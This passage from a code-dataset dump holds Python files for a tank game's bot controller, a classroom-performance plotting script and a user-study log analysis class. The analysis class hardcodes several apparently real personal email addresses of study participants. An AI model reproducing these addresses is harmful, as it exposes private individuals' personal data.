b_y > e_y:\n                        if DirectionAngle.UP - self.ANGLE_OFFSET <= b_angle <= DirectionAngle.UP + self.ANGLE_OFFSET:\n                            return True\n                    # enemy below\n                    if b_y < e_y:\n                        if DirectionAngle.DOWN - self.ANGLE_OFFSET <= b_angle <= DirectionAngle.DOWN + self.ANGLE_OFFSET:\n                            return True\n                elif b_y - self.POS_OFFSET <= e_y <= b_y + self.POS_OFFSET:\n                    # enemy on a left\n                    if b_x > e_x:\n                        if DirectionAngle.LEFT - self.ANGLE_OFFSET <= b_angle <= DirectionAngle.LEFT + self.ANGLE_OFFSET:\n                            return True\n                    # enemy on a right\n                    if b_x < e_x:\n                        if DirectionAngle.RIGHT - self.ANGLE_OFFSET <= b_angle <= DirectionAngle.RIGHT + self.ANGLE_OFFSET:\n                            return True\n        return False\n\n    @staticmethod\n    def whole_angle(angle):\n        \"\"\"\n        Check which angle from {0, 90, 180, 270} is closest to the given one.\n        :param float angle:\n        :return: angle from a range of {0, 90, 180, 270}.\n        :rtype: float\n        \"\"\"\n        if 45 < angle <= 135:\n            return 90\n        elif 135 < angle <= 225:\n            return 180\n        elif 225 < angle <= 315:\n            return 270\n        else:\n            return 0\n\n    def on_trajectory(self, bullet):\n        \"\"\"\n        Checks if bot is on the bullet whole trajectory, including the one behind it.\n        :param bullet: Bullet Object\n        :return: If bot is on the bullet trajectory. If yes also bullet angle.\n        :rtype: bool, float\n        \"\"\"\n        bullet_x, bullet_y = bullet.position\n        bot_x, bot_y = self.player.position\n        offset = 2\n        if 90 - offset <= bullet.angle <= 90 + offset:\n            hit_x = bullet_x\n            hit_y = bot_y\n        elif 0 <= bullet.angle <= offset or 360 - offset <= bullet.angle <= 360:\n            hit_x = bot_x\n            hit_y = bullet_y\n        elif 270 - offset <= bullet.angle <= 270 + offset:\n            hit_x = bullet_x\n            hit_y = bot_y\n        elif 180 - offset <= bullet.angle <= 180 + offset:\n            hit_x = bot_x\n            hit_y = bullet_y\n        else:\n            bullet_a = tan(-bullet.angle * pi / 180)\n            bullet_b = bullet_y - (bullet_a * bullet_x)\n\n            bot_a = - 1 / bullet_a if bullet_a else - 1 / pow(10, -20)\n            bot_b = bot_y - (bot_a * bot_x)\n\n            hit_x = (bot_b - bullet_b) / (bullet_a - bot_a) if bullet_a - bot_a else (bot_b - bullet_b) / pow(10, -20)\n            hit_y = (bullet_a * hit_x) + bullet_b\n\n        dist = sqrt(pow(bot_x - hit_x, 2) + pow(bot_y - hit_y, 2))\n\n        if dist < self.DETECTION_OFFSET:\n            return True, bullet.angle\n        return False, None\n        # return True, object.angle\n\n    def at_gunpoint(self):\n        \"\"\"\n        Check if bot might get hit by any bullet on a map except his.\n        :return: If bot might get hit if not moved. If yes also bullet angle.\n        :rtype: bool, float\n        \"\"\"\n        for bullet in self.game.bullet_controller.bullets:\n            if bullet.player.id != self.player.id:\n\n                bullet_x, bullet_y = bullet.position\n                bot_x, bot_y = self.player.position\n                if bullet_x < bot_x - self.DETECTION_OFFSET and 90 <= bullet.angle <= 270:\n                    # print(\"x< \", self.id)\n                    continue\n                elif bullet_x > bot_x + self.DETECTION_OFFSET and (\n                        0 <= bullet.angle <= 90 and 270 <= bullet.angle <= 360):\n                    # print(\"x> \", self.id)\n                    continue\n                elif bullet_y < bot_y - self.DETECTION_OFFSET and 0 <= bullet.angle <= 180:\n                    # print(\"y< \", self.id)\n                    continue\n                elif bullet_y > bot_y + self.DETECTION_OFFSET and 180 <= bullet.angle <= 360:\n                    # print(\"y> \", self.id)\n                    continue\n                else:\n                    # print(\"check\")\n                    endangered, angle = self.on_trajectory(bullet)\n                    if endangered:\n                        return endangered, angle\n        return False, None\n\n    def paul(self, time):\n        if self.player.is_alive():\n            flee, bullet_angle = self.at_gunpoint()\n            if self.flee_timer <= 0 or flee:\n                self._reload(time)\n                length, rotate = self.move()\n                shot = self.shot_condition(length)\n                angle = self.player.angle - rotate\n                width = self.game.assets.width\n                height = self.game.assets.height\n\n                if self.player.angle > 180 and rotate == DirectionAngle.RIGHT:\n                    angle = angle - 360\n                elif self.player.angle <= 0 and rotate == DirectionAngle.DOWN:\n                    angle = (360 + angle)\n\n                if angle != 0 and (-1 < self.player.angle < 1 and self.x * width > self.player.position[0] - width / 2\n                                   or 179 < self.player.angle < 181 and self.player.position[0] > (\n                                           self.x + 1) * width - width / 2\n                                   or 269 < self.player.angle < 271 and self.y * height >= self.player.position[\n                                       1] - height / 2\n                                   or 89 < self.player.angle < 91 and self.player.position[1] > (\n                                           self.y + 1) * height - height / 2)\\\n                                   or 359 < self.player.angle < 361 and self.player.position[0] > (\n                                           self.x + 1) * width - width / 2:\n                    angle = 0\n\n                if shot:\n                    self.shot()\n\n                move_value = 0\n                if flee:\n                    self.last_bullet_angle = bullet_angle\n                    self.flee_timer = 20\n                    rev_b_angle = (bullet_angle + 180) % 360\n                    if rev_b_angle - self.FLEE_ANGLE <= self.player.angle <= rev_b_angle + self.FLEE_ANGLE:\n                        if self.flee_dir:\n                            self.rotate(Rotate.LEFT, 3 * time)\n                        else:\n                            self.rotate(Rotate.RIGHT, 3 * time)\n                        self.drive(Drive.BACKWARD, time)\n                    else:\n                        self.drive(Drive.BACKWARD, time)\n                elif self.glitch_time < 0:\n                    self.drive(Drive.BACKWARD, time)\n                    if self.flee_dir:\n                        self.rotate(Rotate.LEFT, time / 2)\n                    else:\n                        self.rotate(Rotate.LEFT, time / 2)\n                    move_value = 1\n                elif angle > 1:\n                    self.rotate(Rotate.RIGHT, time)\n                elif angle < -1:\n                    self.rotate(Rotate.LEFT, time)\n                else:\n                    self.flee_dir = 0 if self.flee_dir else 1\n                    self.player.rotate(self.whole_angle(self.player.angle) - self.player.angle, time)\n                    b_x, b_y = self.player.position\n                    e_x, e_y = self.enemy.position\n                    re_angle = (self.enemy.angle + 180) % 360\n                    dist_offset = self.DISTANCE_OFFSET\n                    ang_offset = self.ANGLE_SENSITIVITY\n                    # bot and enemy facing each other and on the +/- same x position\n                    if re_angle - ang_offset <= self.player.angle <= re_angle + ang_offset and \\\n                            e_x - dist_offset <= b_x <= e_x + dist_offset and \\\n                            e_y - self.COLISION_OFFSET <= b_y <= e_y + self.COLISION_OFFSET:\n                        if length <= 3 and \\\n                                (90 - ang_offset <= re_angle <= 90 + ang_offset or \\\n                                270 - ang_offset <= re_angle <= 270 + ang_offset):\n                            move_value = -10\n                        else:\n                            move_value = self.drive(Drive.FORWARD, time)\n                    # bot and enemy facing each other and on the +/- same y position\n                    elif re_angle - ang_offset <= self.player.angle <= re_angle + ang_offset and \\\n                            e_y - dist_offset <= b_y <= e_y + dist_offset and \\\n                            e_x - self.COLISION_OFFSET <= b_x <= e_x + self.COLISION_OFFSET:\n                        if length <= 3 and \\\n                                (0 <= re_angle <= ang_offset or 360 - ang_offset <= re_angle <= 360 or \\\n                                180 - ang_offset <= re_angle <= 180 + ang_offset):\n                            move_value = -10\n                        else:\n                            move_value = self.drive(Drive.FORWARD, time)\n                    # bot or enemy is turned to the other one in a 90 degree angle\n                    elif re_angle + 90 - ang_offset <= self.player.angle <= re_angle + 90 + ang_offset or \\\n                          re_angle - 90 - ang_offset <= self.player.angle <= re_angle - 90 + ang_offset: \\\n                        move_value = self.drive(Drive.FORWARD, time)\n                    elif length > 2:\n                        move_value = self.drive(Drive.FORWARD, time)\n                    else:\n                        move_value = -10 - random.randrange(10)\n                self.glitch_time += move_value\n                if self.glitch_time >= 100:\n                    self.glitch_time = -40 + random.randrange(10)\n                elif move_value == 0:\n                    self.glitch_time = 0\n            else:\n                shot = self.shot_condition(1)\n                self.flee_timer -= 1\n\n    def piotrek(self, time):\n        if self.player.is_alive():\n            self._reload(time)\n            length, rotate = self.move()\n            shot = self.shot_condition(length)\n            angle = self.player.angle - rotate\n            width = self.game.assets.width\n            height = self.game.assets.height\n\n            if self.player.angle > 180 and rotate == DirectionAngle.RIGHT:\n                angle = angle - 360\n            elif self.player.angle <= 0 and rotate == DirectionAngle.DOWN:\n                angle = (360 + angle)\n\n            if angle != 0 and (-1 < self.player.angle < 1 and self.x * width > self.player.position[0] - width / 2\n                               or 179 < self.player.angle < 181 and self.player.position[0] > (\n                                       self.x + 1) * width - width / 2\n                               or 269 < self.player.angle < 271 and self.y * height >= self.player.position[\n                                   1] - height / 2\n                               or 89 < self.player.angle < 91 and self.player.position[1] > (\n                                       self.y + 1) * height - height / 2)\\\n                               or 359 < self.player.angle < 361 and self.player.position[0] > (\n                                       self.x + 1) * width - width / 2:\n                angle = 0\n\n            if shot:\n                self.shot()\n\n            move_value = 0\n            if self.glitch_time < 0:\n                self.drive(Drive.BACKWARD, time)\n                if self.flee_dir:\n                    self.rotate(Rotate.LEFT, time / 2)\n                else:\n                    self.rotate(Rotate.LEFT, time / 2)\n                move_value = 1\n            elif angle > 1:\n                self.rotate(Rotate.RIGHT, time)\n            elif angle < -1:\n                self.rotate(Rotate.LEFT, time)\n            else:\n                self.flee_dir = 0 if self.flee_dir else 1\n                self.player.rotate(self.whole_angle(self.player.angle) - self.player.angle, time)\n                b_x, b_y = self.player.position\n                e_x, e_y = self.enemy.position\n                re_angle = (self.enemy.angle + 180) % 360\n                dist_offset = self.DISTANCE_OFFSET\n                ang_offset = self.ANGLE_SENSITIVITY\n                # bot and enemy facing each other and on the +/- same x position\n                if re_angle - ang_offset <= self.player.angle <= re_angle + ang_offset and \\\n                        e_x - dist_offset <= b_x <= e_x + dist_offset and \\\n                        e_y - self.COLISION_OFFSET <= b_y <= e_y + self.COLISION_OFFSET:\n                    if length <= 3 and \\\n                            (90 - ang_offset <= re_angle <= 90 + ang_offset or \\\n                            270 - ang_offset <= re_angle <= 270 + ang_offset):\n                        move_value = -10\n                    else:\n                        move_value = self.drive(Drive.FORWARD, time)\n                # bot and enemy facing each other and on the +/- same y position\n                elif re_angle - ang_offset <= self.player.angle <= re_angle + ang_offset and \\\n                        e_y - dist_offset <= b_y <= e_y + dist_offset and \\\n                        e_x - self.COLISION_OFFSET <= b_x <= e_x + self.COLISION_OFFSET:\n                    if length <= 3 and \\\n                            (0 <= re_angle <= ang_offset or 360 - ang_offset <= re_angle <= 360 or \\\n                            180 - ang_offset <= re_angle <= 180 + ang_offset):\n                        move_value = -10\n                    else:\n                        move_value = self.drive(Drive.FORWARD, time)\n                # bot or enemy is turned to the other one in a 90 degree angle\n                elif re_angle + 90 - ang_offset <= self.player.angle <= re_angle + 90 + ang_offset or \\\n                      re_angle - 90 - ang_offset <= self.player.angle <= re_angle - 90 + ang_offset: \\\n                    move_value = self.drive(Drive.FORWARD, time)\n                elif length > 2:\n                    move_value = self.drive(Drive.FORWARD, time)\n                else:\n                    move_value = -10 - random.randrange(10)\n            self.glitch_time += move_value\n            if self.glitch_time >= 100:\n                self.glitch_time = -40 + random.randrange(10)\n            elif move_value == 0:\n                self.glitch_time = 0\n\n    def john(self, time):\n        if self.player.is_alive():\n            self._reload(time)\n            length, rotate = self.move2\n            shot = self.shot_condition(length)\n            angle = self.player.angle - rotate\n            width = self.game.assets.width\n            height = self.game.assets.height\n\n            if self.player.angle > 180 and rotate == DirectionAngle.RIGHT:\n                angle = angle - 360\n            elif self.player.angle <= 0 and rotate == DirectionAngle.DOWN:\n                angle = (360 + angle)\n\n            if angle != 0 and (-1 < self.player.angle < 1 and self.x * width > self.player.position[0] - width / 2\n                               or 179 < self.player.angle < 181 and self.player.position[0] > (\n                                       self.x + 1) * width - width / 2 + 6\n                               or 269 < self.player.angle < 271 and self.y * height >= self.player.position[\n                                   1] - height / 2 + 7\n                               or 89 < self.player.angle < 91 and self.player.position[1] > (\n                                       self.y + 1) * height - height / 2\n                    or 359 < self.player.angle < 361 and self.player.position[0] > (\n                    self.x + 1) * width - width / 2 + 6):\n\n                # print(\"b\")\n                angle = 0\n\n            if shot:\n                self.shot()\n            if angle > 1:\n                self.rotate(Rotate.RIGHT, 2*time)\n            elif angle < -1:\n                self.rotate(Rotate.LEFT, 2*time)\n            else:\n                if angle > 0.05:\n                    self.rotate(Rotate.RIGHT, time/5)\n                elif angle < -0.05:\n                    self.rotate(Rotate.LEFT, time/5)\n\n                if self.glitch_time < 0:\n                    self.drive(Drive.BACKWARD, time)\n                    move_value = 1\n                    self.player.lastMove = None\n                else:\n                    move_value = self.drive(Drive.FORWARD, time)\n\n                self.glitch_time += move_value\n                if self.glitch_time == 100:\n                    self.glitch_time = -50\n                elif move_value == 0:\n                    self.glitch_time = 0\n\n    def _reload(self, time):\n        self.player.reload_time -= time\n        StatBar.show_reload(self.screen, self.player)\n        if self.player.reload_time <= 0:\n            if self.player.is_current:\n                StatBar.show_magazine(self.screen, self.player)\n\n    def _reload_magazine(self):\n        if self.player.bullets != Config.player['tank']['magazine']:\n            self.player.reload_magazine()\n            self.player.reload_time = Config.player['tank']['reload_magazine']\n\n    def drive(self, drive: Drive, time):\n        x, y = self.player.position\n        radians = -self.player.angle * pi / 180\n        if drive == Drive.FORWARD:\n            speed = Config.player['speed']['drive']['forward'] * time\n            new_x = x + (speed * cos(radians))\n            new_y = y + (speed * sin(radians))\n        else:\n            speed = Config.player['speed']['drive']['backward'] * time\n            new_x = x - (speed * cos(radians))\n            new_y = y - (speed * sin(radians))\n\n        new_position = (new_x, new_y)\n\n        self.player.move(new_position)\n        if (x, y) == self.player.position:\n            return 1\n        else:\n            return 0\n        # TODO: Send new position to the server\n\n    def rotate(self, angle: Rotate, time):\n        rotate_speed = Config.player['speed']['rotate'] * time\n        if angle == Rotate.LEFT:\n            new_angle = rotate_speed\n        else:\n            new_angle = -rotate_speed\n\n        if new_angle > 360:\n            new_angle -= 360\n        elif new_angle < -360:\n            new_angle += 360\n\n        self.player.rotate(new_angle, 1)\n        # TODO: Send new angle to the server\n\n    def shot(self):\n        if self.player.reload_time <= 0:\n            self.player.reload_time = Config.player['tank']['reload_bullet']\n            self.player.shot()\n            if self.player.is_current:\n                StatBar.show_magazine(self.screen, self.player)\n            if self.player.bullets == 0:\n                self._reload_magazine()\n            # TODO: Send bullet position to the server\n\n","repo_name":"Michaqu11/TanksGame","sub_path":"client/game/src/core/bot/bot_controller.py","file_name":"bot_controller.py","file_ext":"py","file_size_in_byte":26845,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"37852930290","text":"# By Marco Anaya\n\n\n# python3 plot.py (module)\n\nimport sys\nimport os\nimport math\nimport string\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import MaxNLocator\nfrom matplotlib.backends.backend_pdf import PdfPages\n\n# supports coloring 12 categories, repeating once until 24\ncolors = dict(zip(string.ascii_uppercase,\n            ['#E58606', '#5D69B1', '#52BCA3', '#99C945', '#CC61B0', '#24796C', \n            '#DAA51B', '#2F8AC4', '#764E9F', '#ED645A', '#CC3A8E', '#A5AA99',\n            '#E58606', '#5D69B1', '#52BCA3', '#99C945', '#CC61B0', '#24796C', \n            '#DAA51B', '#2F8AC4', '#764E9F', '#ED645A', '#CC3A8E', '#A5AA99',\n            '#E58606', '#5D69B1', '#52BCA3']))\n\nmin_size = 5\n\n\ndef plot(project, module, class_distributions=None, class_performance_per_req=None):\n    class_perf, class_distr = class_performance_per_req, class_distributions\n\n    csv_path = \"./\" + project + \"/\" + module + '/csv/'\n    graph_path = \"./\" + project + \"/\" + module + '/graphs/'\n    if class_perf is None:\n        class_perf = pd.read_csv(csv_path + module + '_class_performance_per_req.csv')\n    if class_distr is None:\n        class_distr = pd.read_csv(csv_path + module + '_class_distributions.csv')\n    \n    \n    class_perf = class_perf[class_perf['Class Size'] > min_size]\n    class_distr = class_distr[class_distr['Class Size'] > min_size]\n\n    # Runs plot_grade() for each grade level, generating three graphs\n    grades = list(filter(lambda entry: os.path.isdir(csv_path + entry), os.listdir(csv_path)))\n    print('Graphing ' + module + ':')\n    for grade in grades:\n       \n        plot_grade(graph_path, module, grade, class_perf, class_distr)    \n        print('  performance and distribution graphs for grade ' + str(grade) + '.')\n\n    # Generates teacher analysis for the whole module\n    plot_module(graph_path, module, grades, class_perf)\n    print('  performance by classroom and grade.')\n    plot_module_by_req(graph_path, module, grades, class_perf)\n    print('  performance for a single requirement by classroom and grade.')\n    print('Done.')\n\n\ndef plot_grade(path, module, grade, class_perf, class_distr):\n    df = class_perf\n    df2 = class_distr\n\n    pdf = PdfPages(path + module + '-' + grade + '.pdf')\n\n    df = df.loc[df['Grade'] == grade]\n\n    by_req_data = df.iloc[:, 4:len(df.columns) - 1]\n\n    tIDs = list(df['Teacher ID'])\n    cIDs = list(df['Studio ID'])\n    class_sizes = list(df.iloc[:, 3])\n\n    # construct per-requirement graph\n    plt.subplots(figsize=(10, 6))\n    plt.title((module + ' grade ' + grade + ' Classroom Performance Per Requirement').title())\n\n    req_count = len(by_req_data.columns)\n\n    class_count = len(by_req_data.index)\n    pos = list(range(req_count))\n    width = .7 / (class_count)\n\n    labels = [tID + '-' + str(cID) + ' (n=' + str(class_size) + ')' for (tID, cID, class_size) in zip(tIDs, cIDs, class_sizes)]\n    \n    # plotting a set of bars for each grade level\n    for i, (index, row) in enumerate(by_req_data.iterrows()):\n        plt.bar(pos if i == 0 else [p + width * i for p in pos],\n            row,\n            width * .9,\n            alpha=0.7,\n            color=colors[tIDs[i]],\n            label=labels[i],\n            zorder=3)\n    plt.xlabel('Requirements')\n    plt.xticks([p + (width * .9 * class_count / 2) for p in pos], labels=[p + 1 for p in pos])\n    plt.ylabel('Percent Complete')\n    plt.ylim([0, 100])\n    plt.grid(axis='y', zorder=0, which='both')\n    plt.legend(bbox_to_anchor=(1.04, 1), loc='upper right', ncol=1)\n\n    plt.savefig(path + 'pngs/' + module + '-' + grade + '-per-req.png', bbox_inches='tight')\n    pdf.savefig(bbox_inches='tight')\n    plt.close()\n\n    # construct totals graph\n    if class_count > 1:\n        total_data = df['Total']\n        plt.subplots(figsize=(10, 6))\n        plt.title((module + ' grade ' + grade + ' Classroom Performance Totals').title())\n        plt.bar(\n            list(range(class_count)),\n            total_data,\n            alpha=0.7,\n            color=[colors[tID] for tID in tIDs],\n            zorder=3\n        )\n        plt.xlabel('Classroom')\n        plt.xticks(list(range(class_count)), labels=labels, rotation=20, horizontalalignment='right')\n        plt.ylabel('Percent Complete')\n        plt.ylim([0, 100])\n        plt.grid(axis='y', zorder=0, which='both')\n\n        plt.savefig(path + 'pngs/' + module + '-' + grade + '-totals.png', bbox_inches='tight')\n        pdf.savefig(bbox_inches='tight')\n        plt.close()\n\n    df2 = df2.loc[df2['Grade'] == grade]\n    distr_data = df2.iloc[:, 4:]\n\n    # construct distribution graph\n    fig, axs = plt.subplots(math.ceil(class_count / 2), 2, figsize=(10, 5 * math.ceil(class_count / 2)))\n    \n    for i, (ax, (index, row)) in enumerate(zip(axs.reshape(-1), distr_data.iterrows())):\n        pos = list(distr_data.columns)\n        ax.bar(pos, row, .95,\n            alpha=0.7, zorder=3, color=colors[tIDs[i]])\n\n        if class_count > 1:\n            ax.set_title(('Classroom ' + str(cIDs[i])).title())\n        else:\n            ax.set_title(('Classroom ' + str(cIDs[i]) + ' Distribution').title())\n\n        ax.set_xlabel('Score')\n        ax.set_xticks(pos)\n        ax.set_xticklabels = row.index\n\n        ax.set_ylabel('Students')\n        ax.yaxis.set_major_locator(MaxNLocator(integer=True))\n\n        ax.grid(axis='y', zorder=0, which='major', alpha=0.5)\n\n    if class_count % 2 != 0:\n        axs.reshape(-1)[-1].remove()\n    if class_count > 1:\n        fig.suptitle('Grade Distributions')\n\n    plt.savefig(path + 'pngs/' + module + '-' + grade + '-distributions.png', bbox_inches='tight')\n    pdf.savefig(bbox_inches='tight')\n\n    pdf.close()\n    plt.close()\n\n# plots teacher analysis using TOTALS column from CLASS PERFORMANCE PER REQUIREMENT\ndef plot_module(path, module, grades, class_perf):\n    df = class_perf\n    totals_data = [df.loc[df['Grade'] == grade] for grade in grades]\n\n    # construct graph measuring performance by classroom and grade\n    fig, axs = plt.subplots(1, len(grades), sharey=True, sharex=True, figsize=(3 * len(grades), 6))\n    fig.suptitle((module + ' Requirement Completion by Classroom and Grade').title())\n    fig.text(0.5, 0.05, 'Grades', ha='center', va='center')\n    fig.text(0.08, 0.5, 'Classroom Completion (%)', ha='center', va='center', rotation='vertical')\n\n    for i, [d, ax] in enumerate(zip(totals_data, axs)):\n        bars = len(d.index)\n        labels = [list(d['Teacher ID'])[i] + '-' + str(list(d['Studio ID'])[i]) + ' (n=' + str(list(d.iloc[:, 3])[i]) + ')' for i in range(bars)]\n        bar = ax.bar(\n            list(range(bars)),\n            d['Total'],\n            .9,\n            color=[colors[tID] for tID in list(d['Teacher ID'])],\n            alpha=0.7,\n            zorder=3\n        )\n        ax.set_ylim([0, 100])\n        ax.set_xlabel(grades[i])\n        ax.tick_params(labelbottom=False)\n        ax.legend(bar, labels, bbox_to_anchor=(1, -0.1), loc='upper right', ncol=1)\n\n    plt.savefig(path + 'pngs/' + module + '-by-classroom.png', bbox_inches='tight')\n    plt.savefig(path + module + '-teacher-analysis.pdf', bbox_inches='tight')\n    plt.close()\n\n# plots teacher analysis by requirement\ndef plot_module_by_req(path, module, grades, class_perf):\n    df = class_perf\n    totals_data = [df.loc[df['Grade'] == grade] for grade in grades]\n\n    for req_index in range(4,len(df.columns)-1):\n        # construct graph measuring performance by classroom and grade\n        fig, axs = plt.subplots(1, len(grades), sharey=True, sharex=True, figsize=(3 * len(grades), 6))\n        fig.suptitle((module + ' Single Requirement Completion by Classroom and Grade').title())\n        fig.text(0.5, 0.93, 'Requirement: ' + df.columns[req_index] + ' [' + str(req_index-3) + ']', ha='center', va='center')\n        fig.text(0.5, 0.05, 'Grades', ha='center', va='center')\n        fig.text(0.08, 0.5, 'Classroom Completion for Requirement (%)', ha='center', va='center', rotation='vertical')\n\n        for i, [d, ax] in enumerate(zip(totals_data, axs)):\n            bars = len(d.index)\n            labels = [list(d['Teacher ID'])[i] + '-' + str(list(d['Studio ID'])[i]) + ' (n=' + str(list(d.iloc[:, 3])[i]) + ')' for i in range(bars)]\n            bar = ax.bar(\n                list(range(bars)),\n                d.iloc[:,req_index],\n                .9,\n                color=[colors[tID] for tID in list(d['Teacher ID'])],\n                alpha=0.7,\n                zorder=3\n            )\n            ax.set_ylim([0, 100])\n            ax.set_xlabel(grades[i])\n            ax.tick_params(labelbottom=False)\n            ax.legend(bar, labels, bbox_to_anchor=(1, -0.1), loc='upper right', ncol=1)\n        \n        plt.savefig(path + 'pngs/' + module + \"-req\" + str(req_index-3) + '-analysis.png', bbox_inches='tight')\n        plt.savefig(path + module + \"-req\" + str(req_index-3) + '-analysis.pdf', bbox_inches='tight')\n        plt.close()\n\n   \n\n\n\nif __name__ == '__main__':\n    plot(sys.argv[1], sys.argv[2])\n","repo_name":"UChicagoCANONLab/static-analysis","sub_path":"plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":8947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40327307928","text":"import json\nimport os\nimport datetime\n\nfrom analysis.analysis_constants import (\n    REPLACE_LIST, USER_DATA_PATH, EDIT_TYPES,\n    MSG_TYPES, HIGH_LEVEL_PROCESS, EDITING_PROCESS,\n    PARTICIPANT_DATABASE, EDIT_TYPES,\n)\n\nclass Participant:\n    def __init__(self, email, id, order, study, videos, baseline):\n        self.email = email\n        self.id = id\n        self.order = order\n        self.study_id = study\n        self.videos = videos\n        self.baseline = baseline\n        self.json_files = []\n        self.found_file = False\n        for filename in os.listdir(USER_DATA_PATH):\n            if filename.endswith(\".json\"):\n                if filename.startswith(email):\n                    self.json_files.append(os.path.join(USER_DATA_PATH, filename))\n\n        self.data = {}\n        if len(self.json_files) == 0:\n            self.found_file = False\n        else:\n            self.found_file = True\n            for json_file in self.json_files:\n                with open(json_file, \"r\") as f:\n                    cur_data = json.load(f)\n                    log_length = len(cur_data.get(\"logs\", []))\n                    cur_log_length = len(self.data.get(\"logs\", []))\n                    if log_length > cur_log_length:\n                        # print(\"!!!\", json_file, log_length)\n                        self.data = cur_data\n\n            self.adjust_data()\n\n    def exists(self):\n        return self.found_file\n    \n    def video_id(self):\n        return self.videos[0]\n    \n    def video_name(self):\n        if self.video_id() == \"video-1\":\n            return \"cooking\"\n        elif self.video_id() == \"video-2\":\n            return \"talking-head\"\n        return \"unknown\"\n\n    ### user logs\n    def logs(self):\n        return self.data.get(\"logs\", [])\n    \n    def get_specific_logs(self, msg):\n        logs = self.logs()\n        processing_logs = []\n        for log in logs:\n            if log[\"videoId\"] != self.video_id():\n                continue\n            if log[\"msg\"] == msg:\n                processing_logs.append(log)\n        return processing_logs\n\n    def get_unique_msgs(self):\n        logs = self.logs()\n        unique_msgs = []\n        for log in logs:\n            if log[\"videoId\"] != self.video_id():\n                continue\n            if log[\"msg\"] not in unique_msgs:\n                unique_msgs.append(log[\"msg\"])\n        return unique_msgs\n    \n    def get_unqiue_msg_types(self):\n        unique_msgs = self.get_unique_msgs()\n        unique_msg_types = {}\n        for msg in unique_msgs:\n            msg_type = msg[0:4]\n            if msg_type not in unique_msg_types:\n                unique_msg_types[msg_type] = []\n            unique_msg_types[msg_type].append(msg)\n        return unique_msg_types\n    \n    def adjust_data(self):\n        logs = self.logs()\n        new_logs = []\n        for log in logs:\n            if self.email == \"kh.mukashev@gmail.com\":\n                ## skip logs after 12:00:00\n                date = datetime.datetime.fromtimestamp(log[\"time\"] / 1000)\n                if date.hour >= 12:\n                    continue\n            if self.email == \"ysamargarita2002@gmail.com\":\n                date = datetime.datetime.fromtimestamp(log[\"time\"] / 1000)\n                if date.hour >= 18 and date.minute >= 30:\n                    continue\n            if self.email == \"kamila240373@gmail.com\":\n                date = datetime.datetime.fromtimestamp(log[\"time\"] / 1000)\n                if date.month < 10 or date.day < 1 or date.day > 3 or date.hour < 15 or date.hour > 17:\n                    continue\n            if log[\"msg\"] in REPLACE_LIST:\n                if REPLACE_LIST[log[\"msg\"]] == None:\n                    continue\n                else:\n                    log[\"msg\"] = REPLACE_LIST[log[\"msg\"]]\n            new_logs.append(log)\n        self.data[\"logs\"] = new_logs\n\n    def count_msg(self, msg):\n        logs = self.logs()\n        count = 0\n        for log in logs:\n            if log[\"videoId\"] != self.video_id():\n                continue\n            if log[\"msg\"] == msg:\n                count += 1\n        return count\n    \n    def count_msg_type(self, msg_type):\n        logs = self.logs()\n        count = 0\n        for log in logs:\n            if log[\"videoId\"] != self.video_id():\n                continue\n            if log[\"msg\"].startswith(msg_type):\n                count += 1\n        return count\n    \n    def get_processing_logs(self):\n        processing_logs = self.get_specific_logs(\"processingComplete\")\n        formatted_logs = []\n        for log in processing_logs:\n            date = datetime.datetime.fromtimestamp(log[\"time\"] / 1000)\n            formatted_date = date.strftime(\"%H:%M:%S\")\n            formatted_logs.append({\n                \"intent_id\": log[\"data\"][\"intentId\"],\n                \"text\": log[\"data\"][\"text\"],\n                \"sketch\": log[\"data\"][\"sketch\"],\n                \"mode\": log[\"data\"][\"mode\"],\n                \"explanation\": json.dumps(log[\"data\"][\"explanation\"], separators=(',', ': ')),\n                \"formatted_time\": formatted_date,\n                \"time\": log[\"time\"],\n            })\n        formatted_logs.sort(key=lambda x: x[\"time\"])\n        return formatted_logs\n\n    def count_processing_logs(self):\n        PROCESSING_COMPLETE_MSG = \"processingComplete\"\n        logs = self.logs()\n        count = 0\n        count_iterations = 0\n        count_processings = {}\n\n        combined_data = []\n        for log in logs:\n            if log[\"videoId\"] != self.video_id():\n                continue\n            if log[\"msg\"] == PROCESSING_COMPLETE_MSG:\n                data = log[\"data\"]\n                if data[\"intentId\"] not in count_processings.keys():\n                    count_processings[data[\"intentId\"]] = 0\n                count_processings[data[\"intentId\"]] += 1\n                combined_data.append(data)\n        \n        iterations_list = [num - 1 for num in count_processings.values()]\n        count_iterations = sum(iterations_list)\n        count = sum(count_processings.values())\n\n        processed_data = []\n        total_count_edits = 0\n        count_from_scratch = 0\n        count_add_more = 0\n        count_has_text = 0\n        count_has_sketch = 0\n        count_has_text_and_sketch = 0\n        for data in combined_data:\n            point = {\n                \"text\": data[\"text\"],\n                \"hasSketch\": len(data[\"sketch\"]) > 0,\n                \"count_edits\": len(data[\"edits\"]),\n                \"start\": data[\"start\"],\n                \"finish\": data[\"finish\"],\n                \"mode\": data[\"mode\"],\n            }\n            processed_data.append(point)\n            total_count_edits += len(data[\"edits\"])\n            if data[\"mode\"] == \"from-scratch\":\n                count_from_scratch += 1\n            elif data[\"mode\"] == \"add-more\":\n                count_add_more += 1\n            \n            if len(data[\"text\"]) > 0:\n                count_has_text += 1\n            if len(data[\"sketch\"]) > 0:\n                count_has_sketch += 1\n            if len(data[\"text\"]) > 0 and len(data[\"sketch\"]) > 0:\n                count_has_text_and_sketch += 1\n        return {\n            \"total\": count,\n            \"total_count_suggested\": total_count_edits,\n            \"total_count_iterations\": count_iterations,\n            \"iterations_list\": iterations_list,\n            \"count_from_scratch\": count_from_scratch,\n            \"count_add_more\": count_add_more,\n            \"count_has_text\": count_has_text,\n            \"count_has_sketch\": count_has_sketch,\n            \"count_has_text_and_sketch\": count_has_text_and_sketch,\n        }\n\n\n    def count_decision(self):\n        REJECT_MSG = \"timelineDecisionReject\"\n        ACCEPT_MSG = \"timelineDecisionAccept\"\n        logs = self.logs()\n        reject_count = 0\n        accept_count = 0\n        for log in logs:\n            if log[\"videoId\"] != self.video_id():\n                continue\n            if log[\"msg\"] == REJECT_MSG:\n                reject_count += 1\n            elif log[\"msg\"] == ACCEPT_MSG:\n                accept_count += 1\n        return {\n            \"reject\": reject_count,\n            \"accept\": accept_count,\n        }\n\n\n    ### user tasks\n    def tasks(self):\n        return self.data.get(\"tasks\", [])\n    \n    def get_task(self, task_id):\n        tasks = 